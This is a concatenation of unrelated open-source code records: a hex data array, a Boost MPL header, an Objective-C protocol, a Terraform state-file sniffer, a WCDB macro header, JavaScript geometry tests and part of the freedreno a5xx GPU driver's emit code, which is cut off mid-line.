0xF296, 0xF26C, 0xF277,\n 0xF2CF, 0xF38B, 0xF5FB, 0xFA0B, 0xFDBB, 0xFF09, 0xFC7A, 0xF771,\n 0xF238, 0xEF1D, 0xEE21, 0xEDB3, 0xEDBC, 0xEE28, 0xEEE0, 0xEFCF,\n 0xF0DF, 0xF217, 0xF385, 0xF51F, 0xF6DA, 0xF8AC, 0xFA8B, 0xFC6C,\n 0xFE44, 0x0009, 0x01B2, 0x0333, 0x0434, 0x0496, 0x04A7, 0x046D,\n 0x03E3, 0x0342, 0x02A3, 0x01EE, 0x0116, 0x0010, 0xFEE2, 0xFD96,\n 0xFC39, 0xFAD6, 0xF979, 0xF82E, 0xF6FF, 0xF5FA, 0xF528, 0xF497,\n 0xF450, 0xF461, 0xF60F, 0xF9CF, 0xFE71, 0x02C4, 0x059B, 0x074B,\n 0x08EE, 0x0A7E, 0x0BF5, 0x0D4D, 0x0E80, 0x0F88, 0x105F, 0x10FD,\n 0x115E, 0x117C, 0x114F, 0x1078, 0x0EC5, 0x0C72, 0x09BC, 0x06E0,\n 0x041B, 0x01AB, 0xFFCC, 0xFEBB, 0xFF0C, 0x00BE, 0x032E, 0x05B7,\n 0x07B5, 0x0884, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0002,\n 0x000A, 0x0015, 0x0022, 0x0031, 0x0040, 0x004D, 0x0058, 0x0060,\n 0x0063, 0x0060, 0x0055, 0x0043, 0x0026, 0x0000, 0xFF9C, 0xFEE5,\n 0xFE0A, 0xFD35, 0xFC95, 0xFC56, 0xFC84, 0xFCFC, 0xFDA3, 0xFE5F,\n 0xFF14, 0xFFA8, 0x0000, 0x0029, 0x0044, 0x0053, 0x0057, 0x0054,\n 0x004A, 0x003C, 0x002B, 0x001B, 0x000D, 0x0003, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x40A1, 0x40AD,\n 0x40CF, 0x4100, 0x413C, 0x417C, 0x41BB, 0x41F4, 0x4221, 0x423D,\n 0x4242, 0x4233, 0x4219, 0x41F4, 0x41C7, 0x4193, 0x415B, 0x4121,\n 0x40E5, 0x40AB, 0x4074, 0x4041, 0x4015, 0x3FF1, 0x3FD8, 0x3FCB,\n 0x3FCC, 0x3FEB, 0x402E, 0x408D, 0x40FF, 0x417A, 0x41F5, 0x4266,\n 0x42C5, 0x4308, 0x4325, 0x42E4, 0x423A, 0x4167, 0x40A9, 0x403F,\n 0x401E, 0x4010, 0x4011, 0x401E, 0x4033, 0x404D, 0x4069, 0x4082,\n 0x4096, 0x40A1, 0x40A7, 0x40AC, 0x40B1, 0x40B4, 0x40B4, 0x40B2,\n 0x40AC, 0x40A1, 0x4090, 0x4078, 0x405B, 0x403C, 0x401C, 0x3FFE,\n 0x3FE3, 0x3FCD, 0x3FBF, 0x3FB6, 0x3FAF, 0x3FA8, 0x3FA3, 0x3F9E,\n 0x3F9B, 0x3F9A, 0x3F99, 0x3F9A, 0x3F9D, 0x3FA0, 0x3FA6, 0x3FAD,\n 0x3FB5, 0x3FBF, 0x3FD8, 0x4004, 0x403A, 0x406E, 0x4095, 0x40A5,\n 0x409C, 0x4085, 0x4063, 0x403A, 0x400F, 0x3FE4, 0x3FBF, 0x3F9B,\n 0x3F72, 0x3F46, 0x3F18, 0x3EEA, 0x3EBE, 0x3E95, 0x3E70, 0x3E52,\n 0x3E3C, 0x3E30, 0x3E2F, 0x3E36, 0x3E40, 0x3E4D, 0x3E5C, 0x3E6D,\n 0x3E81, 0x3E97, 0x3EAE, 0x3EC7, 0x3EE1, 0x3EFC, 0x3F18, 0x3F34,\n 0x3F51, 0x3F6E, 0x3F8B, 0x3FA8, 0x3FC4, 0x3FDF, 0x3FFA, 0x4013,\n 0x402B, 0x4042, 0x4056, 0x4069, 0x4079, 0x4087, 0x4092, 0x409A,\n 0x409F, 0x40A1,\n};\n\n"} +{"text": "\r\n// Copyright Aleksey Gurtovoy 2000-2004\r\n// Copyright Jaap Suter 2003\r\n//\r\n// Distributed under the Boost Software License, Version 1.0. \r\n// (See accompanying file LICENSE_1_0.txt or copy at \r\n// http://www.boost.org/LICENSE_1_0.txt)\r\n//\r\n\r\n// *Preprocessed* version of the main \"bitand.hpp\" header\r\n// -- DO NOT modify by hand!\r\n\r\nnamespace boost { namespace mpl {\r\n\r\ntemplate<\r\n typename Tag1\r\n , typename Tag2\r\n >\r\nstruct bitand_impl\r\n : if_c<\r\n ( BOOST_MPL_AUX_NESTED_VALUE_WKND(int, Tag1)\r\n > BOOST_MPL_AUX_NESTED_VALUE_WKND(int, Tag2)\r\n )\r\n\r\n , aux::cast2nd_impl< bitand_impl< Tag1,Tag1 >,Tag1, Tag2 >\r\n , aux::cast1st_impl< bitand_impl< Tag2,Tag2 >,Tag1, Tag2 >\r\n >::type\r\n{\r\n};\r\n\r\n/// for Digital Mars C++/compilers with no CTPS/TTP support\r\ntemplate<> struct bitand_impl< na,na >\r\n{\r\n template< typename U1, typename U2 > struct apply\r\n {\r\n typedef apply type;\r\n BOOST_STATIC_CONSTANT(int, value = 0);\r\n };\r\n};\r\n\r\ntemplate< typename Tag > struct bitand_impl< na,Tag >\r\n{\r\n template< typename U1, typename U2 > struct apply\r\n {\r\n typedef apply type;\r\n BOOST_STATIC_CONSTANT(int, value = 0);\r\n };\r\n};\r\n\r\ntemplate< typename Tag > struct bitand_impl< Tag,na >\r\n{\r\n template< typename U1, typename U2 > struct apply\r\n {\r\n typedef apply type;\r\n BOOST_STATIC_CONSTANT(int, value = 0);\r\n };\r\n};\r\n\r\ntemplate< typename T > struct bitand_tag\r\n{\r\n typedef typename T::tag type;\r\n};\r\n\r\ntemplate<\r\n typename BOOST_MPL_AUX_NA_PARAM(N1)\r\n , typename BOOST_MPL_AUX_NA_PARAM(N2)\r\n , typename N3 = na, typename N4 = na, typename N5 = na\r\n >\r\nstruct bitand_\r\n : bitand_< bitand_< bitand_< bitand_< N1,N2 >, N3>, N4>, N5>\r\n{\r\n BOOST_MPL_AUX_LAMBDA_SUPPORT(\r\n 5\r\n , bitand_\r\n , ( N1, N2, N3, N4, N5 )\r\n )\r\n};\r\n\r\ntemplate<\r\n typename N1, typename N2, typename N3, typename N4\r\n >\r\nstruct bitand_< N1,N2,N3,N4,na >\r\n\r\n : bitand_< bitand_< bitand_< N1,N2 >, N3>, N4>\r\n{\r\n BOOST_MPL_AUX_LAMBDA_SUPPORT_SPEC(\r\n 5\r\n , bitand_\r\n , ( N1, N2, N3, N4, na )\r\n )\r\n};\r\n\r\ntemplate<\r\n typename N1, typename N2, typename N3\r\n >\r\nstruct bitand_< N1,N2,N3,na,na >\r\n\r\n : bitand_< bitand_< N1,N2 >, N3>\r\n{\r\n BOOST_MPL_AUX_LAMBDA_SUPPORT_SPEC(\r\n 5\r\n , bitand_\r\n , ( N1, N2, N3, na, na )\r\n )\r\n};\r\n\r\ntemplate<\r\n typename N1, typename N2\r\n >\r\nstruct bitand_< N1,N2,na,na,na >\r\n : bitand_impl<\r\n typename bitand_tag::type\r\n , typename bitand_tag::type\r\n >::template apply< N1,N2 >::type\r\n{\r\n BOOST_MPL_AUX_LAMBDA_SUPPORT_SPEC(\r\n 5\r\n , bitand_\r\n , ( N1, N2, na, na, na )\r\n )\r\n\r\n};\r\n\r\nBOOST_MPL_AUX_NA_SPEC2(2, 5, bitand_)\r\n\r\n}}\r\n\r\nnamespace boost { namespace mpl {\r\ntemplate<>\r\nstruct bitand_impl< integral_c_tag,integral_c_tag >\r\n{\r\n template< typename N1, typename N2 > struct apply\r\n\r\n : integral_c<\r\n typename aux::largest_int<\r\n typename N1::value_type\r\n , typename N2::value_type\r\n >::type\r\n , ( BOOST_MPL_AUX_VALUE_WKND(N1)::value\r\n & BOOST_MPL_AUX_VALUE_WKND(N2)::value\r\n )\r\n >\r\n {\r\n };\r\n};\r\n\r\n}}\r\n"} +{"text": "/* Generated by RuntimeBrowser.\n */\n\n@protocol TSPObjectDelegate \n\n@required\n\n- (TSPObjectContext *)context;\n- (long long)modifyObjectTokenForNewObject;\n- (long long)newObjectIdentifier;\n\n@end\n"} +{"text": "package statefile\n\n// looksLikeVersion0 sniffs for the signature indicating a version 0 state\n// file.\n//\n// Version 0 was the number retroactively assigned to Terraform's initial\n// (unversioned) binary state file format, which was later superseded by the\n// version 1 format in JSON.\n//\n// Version 0 is no longer supported, so this is used only to detect it and\n// return a nice error to the user.\nfunc looksLikeVersion0(src []byte) bool {\n\t// Version 0 files begin with the magic prefix \"tfstate\".\n\tconst magic = \"tfstate\"\n\tif len(src) < len(magic) {\n\t\t// Not even long enough to have the magic prefix\n\t\treturn false\n\t}\n\tif string(src[0:len(magic)]) == magic {\n\t\treturn true\n\t}\n\treturn false\n}\n"} +{"text": "/*\n * Tencent is pleased to support the open source community by making\n * WCDB available.\n *\n * Copyright (C) 2017 THL A29 Limited, a Tencent company.\n * All rights reserved.\n *\n * Licensed under the BSD 3-Clause License (the \"License\"); you may not use\n * this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * https://opensource.org/licenses/BSD-3-Clause\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#ifndef macro_hpp\n#define macro_hpp\n\n#define _CONCAT(a, b) a##b\n#define CONCAT(a, b) _CONCAT(a, b)\n#define UNUSED_UNIQUE_ID CONCAT(_unused, __COUNTER__)\n\n#endif /* macro_hpp */\n"} +{"text": "import * as test from '../../test'\n\nexport default {\n\n\n /**\n * *--> o<-------o\n * |\n * |\n * |/\n * o\n */\n testEncloseClassificationCoiInNeg: function (env) {\n test.modeller(env.test((win, app) => {\n doTest(env, win, app, [100, 100], [10, 100], [10, 10], [-100, 100], [100, 100], true);\n }));\n },\n\n /**\n * <--- o<-------o\n * |\n * |\n * |/\n * o\n */\n testEncloseClassificationCoiInPos: function (env) {\n test.modeller(env.test((win, app) => {\n doTest(env, win, app, [100, 100], [10, 100], [10, 10], [100, 100], [-100, 100], false);\n }));\n },\n\n /**\n * ^\n * |\n * o<-------o\n * |\n * |\n * |/\n * o\n */\n testEncloseClassificationCoiOutNeg: function (env) {\n test.modeller(env.test((win, app) => {\n doTest(env, win, app, [100, 100], [10, 100], [10, 10], [10, 0], [10, 200], false);\n }));\n },\n\n /**\n * |\n * \\/\n * o<-------o\n * |\n * |\n * |/\n * o\n */\n testEncloseClassificationCoiOutPos: function (env) {\n test.modeller(env.test((win, app) => {\n doTest(env, win, app, [100, 100], [10, 100], [10, 10], [10, 200], [10, 0], true);\n }));\n },\n\n /** *\n * \\\n * \\\n * o<-------o\n * |\n * |\n * |/\n * o\n */\n testEncloseClassificationEntersAngle: function (env) {\n test.modeller(env.test((win, app) => {\n doTest(env, win, app, [100, 100], [10, 100], [10, 10], [0, 110], [1000, -890], true);\n }));\n },\n\n /**\n * \\\n * \\\n * o<-------o\n * |\\\n * | \\\n * |/ *\n * o\n */\n testEncloseClassificationLeavesAngle: function (env) {\n test.modeller(env.test((win, app) => {\n doTest(env, win, app, [100, 100], [10, 100], [10, 10], [1000, -890], [0, 110], false);\n }));\n },\n\n}\n\nfunction doTest(env, win, app, encA, encB, encC, curveA, curveB, expected) {\n let [a, b] = createEnclosure(app.TPI, encA, encB, encC);\n let curve = createCurve(app.TPI, curveA, curveB);\n\n let result = app.TPI.brep.bool.isCurveEntersEnclose(curve, a, b) === 1;\n\n draw(win, curve, a, b, result);\n env.assertTrue(result === expected);\n env.done();\n}\n\nfunction draw(win, curve, a, b, result) {\n win.__DEBUG__.AddCurve(curve, result ? 0x00ff00 : 0xff0000);\n win.__DEBUG__.AddHalfEdge(a);\n win.__DEBUG__.AddHalfEdge(b);\n}\n\nfunction createEnclosure(tpi, a, b, c) {\n\n a = new tpi.brep.topo.Vertex(pt(tpi, a));\n b = new tpi.brep.topo.Vertex(pt(tpi, b));\n c = new tpi.brep.topo.Vertex(pt(tpi, c));\n\n let e1 = createEdge(tpi, a, b);\n let e2 = createEdge(tpi, b, c);\n\n let loop = new tpi.brep.topo.Loop();\n loop.halfEdges.push(e1, e2);\n loop.link();\n let face = new tpi.brep.topo.Face(new tpi.brep.geom.createBoundingSurface([\n a.point, b.point, c.point\n ]));\n loop.face = face;\n return [e1, e2];\n}\n\nfunction createEdge(tpi, a, b) {\n return new tpi.brep.topo.Edge(tpi.brep.geom.BrepCurve.createLinearCurve(a.point, b.point), a, b).halfEdge1;\n}\n\nfunction createCurve(tpi, a, b) {\n return tpi.brep.geom.BrepCurve.createLinearCurve(pt(tpi,a), pt(tpi,b));\n}\n\nconst pt = (tpi, arr) => new tpi.brep.geom.Point().set3(arr);\n"} +{"text": "/*\n * Copyright (C) 2016 Rob Clark \n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * Authors:\n * Rob Clark \n */\n\n#include \"pipe/p_state.h\"\n#include \"util/u_string.h\"\n#include \"util/u_memory.h\"\n#include \"util/u_helpers.h\"\n#include \"util/u_format.h\"\n#include \"util/u_viewport.h\"\n\n#include \"freedreno_resource.h\"\n#include \"freedreno_query_hw.h\"\n\n#include \"fd5_emit.h\"\n#include \"fd5_blend.h\"\n#include \"fd5_blitter.h\"\n#include \"fd5_context.h\"\n#include \"fd5_image.h\"\n#include \"fd5_program.h\"\n#include \"fd5_rasterizer.h\"\n#include \"fd5_texture.h\"\n#include \"fd5_screen.h\"\n#include \"fd5_format.h\"\n#include \"fd5_zsa.h\"\n\n/* regid: base const register\n * prsc or dwords: buffer containing constant values\n * sizedwords: size of const value buffer\n */\nstatic void\nfd5_emit_const(struct fd_ringbuffer *ring, enum shader_t type,\n\t\tuint32_t regid, uint32_t offset, uint32_t sizedwords,\n\t\tconst uint32_t *dwords, struct pipe_resource *prsc)\n{\n\tuint32_t i, sz;\n\tenum a4xx_state_src src;\n\n\tdebug_assert((regid % 4) == 0);\n\tdebug_assert((sizedwords % 4) == 0);\n\n\tif (prsc) {\n\t\tsz = 0;\n\t\tsrc = SS4_INDIRECT;\n\t} else {\n\t\tsz = sizedwords;\n\t\tsrc = SS4_DIRECT;\n\t}\n\n\tOUT_PKT7(ring, CP_LOAD_STATE4, 3 + sz);\n\tOUT_RING(ring, CP_LOAD_STATE4_0_DST_OFF(regid/4) |\n\t\t\tCP_LOAD_STATE4_0_STATE_SRC(src) |\n\t\t\tCP_LOAD_STATE4_0_STATE_BLOCK(fd4_stage2shadersb(type)) |\n\t\t\tCP_LOAD_STATE4_0_NUM_UNIT(sizedwords/4));\n\tif (prsc) {\n\t\tstruct fd_bo *bo = fd_resource(prsc)->bo;\n\t\tOUT_RELOC(ring, bo, offset,\n\t\t\t\tCP_LOAD_STATE4_1_STATE_TYPE(ST4_CONSTANTS), 0);\n\t} else {\n\t\tOUT_RING(ring, CP_LOAD_STATE4_1_EXT_SRC_ADDR(0) |\n\t\t\t\tCP_LOAD_STATE4_1_STATE_TYPE(ST4_CONSTANTS));\n\t\tOUT_RING(ring, CP_LOAD_STATE4_2_EXT_SRC_ADDR_HI(0));\n\t\tdwords = (uint32_t *)&((uint8_t *)dwords)[offset];\n\t}\n\tfor (i = 0; i < sz; i++) {\n\t\tOUT_RING(ring, dwords[i]);\n\t}\n}\n\nstatic void\nfd5_emit_const_bo(struct fd_ringbuffer *ring, enum shader_t type, boolean write,\n\t\tuint32_t regid, uint32_t num, struct pipe_resource **prscs, uint32_t *offsets)\n{\n\tuint32_t anum = align(num, 2);\n\tuint32_t i;\n\n\tdebug_assert((regid % 4) == 0);\n\n\tOUT_PKT7(ring, CP_LOAD_STATE4, 3 + (2 * anum));\n\tOUT_RING(ring, CP_LOAD_STATE4_0_DST_OFF(regid/4) |\n\t\t\tCP_LOAD_STATE4_0_STATE_SRC(SS4_DIRECT) |\n\t\t\tCP_LOAD_STATE4_0_STATE_BLOCK(fd4_stage2shadersb(type)) |\n\t\t\tCP_LOAD_STATE4_0_NUM_UNIT(anum/2));\n\tOUT_RING(ring, CP_LOAD_STATE4_1_EXT_SRC_ADDR(0) |\n\t\t\tCP_LOAD_STATE4_1_STATE_TYPE(ST4_CONSTANTS));\n\tOUT_RING(ring, CP_LOAD_STATE4_2_EXT_SRC_ADDR_HI(0));\n\n\tfor (i = 0; i < num; i++) {\n\t\tif (prscs[i]) {\n\t\t\tif (write) {\n\t\t\t\tOUT_RELOCW(ring, fd_resource(prscs[i])->bo, offsets[i], 0, 0);\n\t\t\t} else {\n\t\t\t\tOUT_RELOC(ring, fd_resource(prscs[i])->bo, offsets[i], 0, 0);\n\t\t\t}\n\t\t} else {\n\t\t\tOUT_RING(ring, 0xbad00000 | (i << 16));\n\t\t\tOUT_RING(ring, 0xbad00000 | (i << 16));\n\t\t}\n\t}\n\n\tfor (; i < anum; i++) {\n\t\tOUT_RING(ring, 0xffffffff);\n\t\tOUT_RING(ring, 0xffffffff);\n\t}\n}\n\n/* Border color layout is diff from a4xx/a5xx.. if it turns out to be\n * the same as a6xx then move this somewhere common ;-)\n *\n * Entry layout looks like (total size, 0x60 bytes):\n */\n\nstruct PACKED bcolor_entry {\n\tuint32_t fp32[4];\n\tuint16_t ui16[4];\n\tint16_t si16[4];\n\n\tuint16_t fp16[4];\n\tuint16_t rgb565;\n\tuint16_t rgb5a1;\n\tuint16_t rgba4;\n\tuint8_t __pad0[2];\n\tuint8_t ui8[4];\n\tint8_t si8[4];\n\tuint32_t rgb10a2;\n\tuint32_t z24; /* also s8? */\n\n\tuint16_t srgb[4]; /* appears to duplicate fp16[], but clamped, used for srgb */\n\tuint8_t __pad1[24];\n};\n\n#define FD5_BORDER_COLOR_SIZE 0x60\n#define FD5_BORDER_COLOR_UPLOAD_SIZE (2 * PIPE_MAX_SAMPLERS * FD5_BORDER_COLOR_SIZE)\n\nstatic void\nsetup_border_colors(struct fd_texture_stateobj *tex, struct bcolor_entry *entries)\n{\n\tunsigned i, j;\n\tSTATIC_ASSERT(sizeof(struct bcolor_entry) == FD5_BORDER_COLOR_SIZE);\n\n\tfor (i = 0; i < tex->num_samplers; i++) {\n\t\tstruct bcolor_entry *e = &entries[i];\n\t\tstruct pipe_sampler_state *sampler = tex->samplers[i];\n\t\tunion pipe_color_union *bc;\n\n\t\tif (!sampler)\n\t\t\tcontinue;\n\n\t\tbc = &sampler->border_color;\n\n\t\t/*\n\t\t * XXX HACK ALERT XXX\n\t\t *\n\t\t * The border colors need to be swizzled in a particular\n\t\t * format-dependent order. Even though samplers don't know about\n\t\t * formats, we can assume that with a GL state tracker, there's a\n\t\t * 1:1 correspondence between sampler and texture. Take advantage\n\t\t * of that knowledge.\n\t\t */\n\t\tif ((i >= tex->num_textures) || !tex->textures[i])\n\t\t\tcontinue;\n\n\t\tenum pipe_format format = tex->textures[i]->format;\n\t\tconst struct util_format_description *desc =\n\t\t\t\tutil_format_description(format);\n\n\t\te->rgb565 = 0;\n\t\te->rgb5a1 = 0;\n\t\te->rgba4 = 0;\n\t\te->rgb10a2 = 0;\n\t\te->z24 = 0;\n\n\t\tfor (j = 0; j < 4; j++) {\n\t\t\tint c = desc->swizzle[j];\n\t\t\tint cd = c;\n\n\t\t\t/*\n\t\t\t * HACK: for PIPE_FORMAT_X24S8_UINT we end up w/ the\n\t\t\t * stencil border color value in bc->ui[0] but according\n\t\t\t * to desc->swizzle and desc->channel, the .x component\n\t\t\t * is NONE and the stencil value is in the y component.\n\t\t\t * Meanwhile the hardware wants this in the .x componetn.\n\t\t\t */\n\t\t\tif ((format == PIPE_FORMAT_X24S8_UINT) ||\n\t\t\t\t\t(format == PIPE_FORMAT_X32_S8X24_UINT)) {\n\t\t\t\tif (j == 0) {\n\t\t\t\t\tc = 1;\n\t\t\t\t\tcd = 0;\n\t\t\t\t} else {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (c >= 4)\n\t\t\t\tcontinue;\n\n\t\t\tif (desc->channel[c].pure_integer) {\n\t\t\t\tuint16_t clamped;\n\t\t\t\tswitch (desc->channel[c].size) {\n\t\t\t\tcase 2:\n\t\t\t\t\tassert(desc->channel[c].type == UTIL_FORMAT_TYPE_UNSIGNED);\n\t\t\t\t\tclamped = CLAMP(bc->ui[j], 0, 0x3);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 8:\n\t\t\t\t\tif (desc->channel[c].type == UTIL_FORMAT_TYPE_SIGNED)\n\t\t\t\t\t\tclamped = CLAMP(bc->i[j], -128, 127);\n\t\t\t\t\telse\n\t\t\t\t\t\tclamped = CLAMP(bc->ui[j], 0, 255);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 10:\n\t\t\t\t\tassert(desc->channel[c].type == UTIL_FORMAT_TYPE_UNSIGNED);\n\t\t\t\t\tclamped = CLAMP(bc->ui[j], 0, 0x3ff);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 16:\n\t\t\t\t\tif (desc->channel[c].type == UTIL_FORMAT_TYPE_SIGNED)\n\t\t\t\t\t\tclamped = CLAMP(bc->i[j], -32768, 32767);\n\t\t\t\t\telse\n\t\t\t\t\t\tclamped = CLAMP(bc->ui[j], 0, 65535);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tassert(!\"Unexpected bit size\");\n\t\t\t\tcase 32:\n\t\t\t\t\tclamped = 0;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\te->fp32[cd] = bc->ui[j];\n\t\t\t\te->fp16[cd] = clamped;\n\t\t\t} else {\n\t\t\t\tfloat f = bc->f[j];\n\t\t\t\tfloat f_u = CLAMP(f, 0, 1);\n\t\t\t\tfloat f_s = CLAMP(f, -1, 1);\n\n\t\t\t\te->fp32[c] = fui(f);\n\t\t\t\te->fp16[c] = util_float_to_half(f);\n\t\t\t\te->srgb[c] = util_float_to_half(f_u);\n\t\t\t\te->ui16[c] = f_u * 0xffff;\n\t\t\t\te->si16[c] = f_s * 0x7fff;\n\t\t\t\te->ui8[c] = f_u * 0xff;\n\t\t\t\te->si8[c] = f_s * 0x7f;\n\t\t\t\tif (c == 1)\n\t\t\t\t\te->rgb565 |= (int)(f_u * 0x3f) << 5;\n\t\t\t\telse if (c < 3)\n\t\t\t\t\te->rgb565 |= (int)(f_u * 0x1f) << (c ? 11 : 0);\n\t\t\t\tif (c == 3)\n\t\t\t\t\te->rgb5a1 |= (f_u > 0.5) ? 0x8000 : 0;\n\t\t\t\telse\n\t\t\t\t\te->rgb5a1 |= (int)(f_u * 0x1f) << (c * 5);\n\t\t\t\tif (c == 3)\n\t\t\t\t\te->rgb10a2 |= (int)(f_u * 0x3) << 30;\n\t\t\t\telse\n\t\t\t\t\te->rgb10a2 |= (int)(f_u * 0x3ff) << (c * 10);\n\t\t\t\te->rgba4 |= (int)(f_u * 0xf) << (c * 4);\n\t\t\t\tif (c == 0)\n\t\t\t\t\te->z24 = f_u * 0xffffff;\n\t\t\t}\n\t\t}\n\n#ifdef DEBUG\n\t\tmemset(&e->__pad0, 0, sizeof(e->__pad0));\n\t\tmemset(&e->__pad1, 0, sizeof(e->__pad1));\n#endif\n\t}\n}\n\nstatic void\nemit_border_color(struct fd_context *ctx, struct fd_ringbuffer *ring)\n{\n\tstruct fd5_context *fd5_ctx = fd5_context(ctx);\n\tstruct bcolor_entry *entries;\n\tunsigned off;\n\tvoid *ptr;\n\n\tSTATIC_ASSERT(sizeof(struct bcolor_entry) == FD5_BORDER_COLOR_SIZE);\n\n\tu_upload_alloc(fd5_ctx->border_color_uploader,\n\t\t\t0, FD5_BORDER_COLOR_UPLOAD_SIZE,\n\t\t\tFD5_BORDER_COLOR_UPLOAD_SIZE, &off,\n\t\t\t&fd5_ctx->border_color_buf,\n\t\t\t&ptr);\n\n\tentries = ptr;\n\n\tsetup_border_colors(&ctx->tex[PIPE_SHADER_VERTEX], &entries[0]);\n\tsetup_border_colors(&ctx->tex[PIPE_SHADER_FRAGMENT],\n\t\t\t&entries[ctx->tex[PIPE_SHADER_VERTEX].num_samplers]);\n\n\tOUT_PKT4(ring, REG_A5XX_TPL1_TP_BORDER_COLOR_BASE_ADDR_LO, 2);\n\tOUT_RELOC(ring, fd_resource(fd5_ctx->border_color_buf)->bo, off, 0, 0);\n\n\tu_upload_unmap(fd5_ctx->border_color_uploader);\n}\n\nstatic bool\nemit_textures(struct fd_context *ctx, struct fd_ringbuffer *ring,\n\t\tenum a4xx_state_block sb, struct fd_texture_stateobj *tex)\n{\n\tbool needs_border = false;\n\tunsigned bcolor_offset = (sb == SB4_FS_TEX) ? ctx->tex[PIPE_SHADER_VERTEX].num_samplers : 0;\n\tunsigned i;\n\n\tif (tex->num_samplers > 0) {\n\t\t/* output sampler state: */\n\t\tOUT_PKT7(ring, CP_LOAD_STATE4, 3 + (4 * tex->num_samplers));\n\t\tOUT_RING(ring, CP_LOAD_STATE4_0_DST_OFF(0) |\n\t\t\t\tCP_LOAD_STATE4_0_STATE_SRC(SS4_DIRECT) |\n\t\t\t\tCP_LOAD_STATE4_0_STATE_BLOCK(sb) |\n\t\t\t\tCP_LOAD_STATE4_0_NUM_UNIT(tex->num_samplers));\n\t\tOUT_RING(ring, CP_LOAD_STATE4_1_STATE_TYPE(ST4_SHADER) |\n\t\t\t\tCP_LOAD_STATE4_1_EXT_SRC_ADDR(0));\n\t\tOUT_RING(ring, CP_LOAD_STATE4_2_EXT_SRC_ADDR_HI(0));\n\t\tfor (i = 0; i < tex->num_samplers; i++) {\n\t\t\tstatic const struct fd5_sampler_stateobj dummy_sampler = {};\n\t\t\tconst struct fd5_sampler_stateobj *sampler = tex->samplers[i] ?\n\t\t\t\t\tfd5_sampler_stateobj(tex->samplers[i]) :\n\t\t\t\t\t&dummy_sampler;\n\t\t\tOUT_RING(ring, sampler->texsamp0);\n\t\t\tOUT_RING(ring, sampler->texsamp1);\n\t\t\tOUT_RING(ring, sampler->texsamp2 |\n\t\t\t\t\tA5XX_TEX_SAMP_2_BCOLOR_OFFSET(bcolor_offset));\n\t\t\tOUT_RING(ring, sampler->texsamp3);\n\n\t\t\tneeds_border |= sampler->needs_border;\n\t\t}\n\t}\n\n\tif (tex->num_textures > 0) {\n\t\tunsigned num_textures = tex->num_textures;\n\n\t\t/* emit texture state: */\n\t\tOUT_PKT7(ring, CP_LOAD_STATE4, 3 + (12 * num_textures));\n\t\tOUT_RING(ring, CP_LOAD_STATE4_0_DST_OFF(0) |\n\t\t\t\tCP_LOAD_STATE4_0_STATE_SRC(SS4_DIRECT) |\n\t\t\t\tCP_LOAD_STATE4_0_STATE_BLOCK(sb) |\n\t\t\t\tCP_LOAD_STATE4_0_NUM_UNIT(num_textures));\n\t\tOUT_RING(ring, CP_LOAD_STATE4_1_STATE_TYPE(ST4_CONSTANTS) |\n\t\t\t\tCP_LOAD_STATE4_1_EXT_SRC_ADDR(0));\n\t\tOUT_RING(ring, CP_LOAD_STATE4_2_EXT_SRC_ADDR_HI(0));\n\t\tfor (i = 0; i < tex->num_textures; i++) {\n\t\t\tstatic const struct fd5_pipe_sampler_view dummy_view = {};\n\t\t\tconst struct fd5_pipe_sampler_view *view = tex->textures[i] ?\n\t\t\t\t\tfd5_pipe_sampler_view(tex->textures[i]) :\n\t\t\t\t\t&dummy_view;\n\t\t\tenum a5xx_tile_mode tile_mode = TILE5_LINEAR;\n\n\t\t\tif (view->base.texture)\n\t\t\t\ttile_mode = fd_resource(view->base.texture)->tile_mode;\n\n\t\t\tOUT_RING(ring, view->texconst0 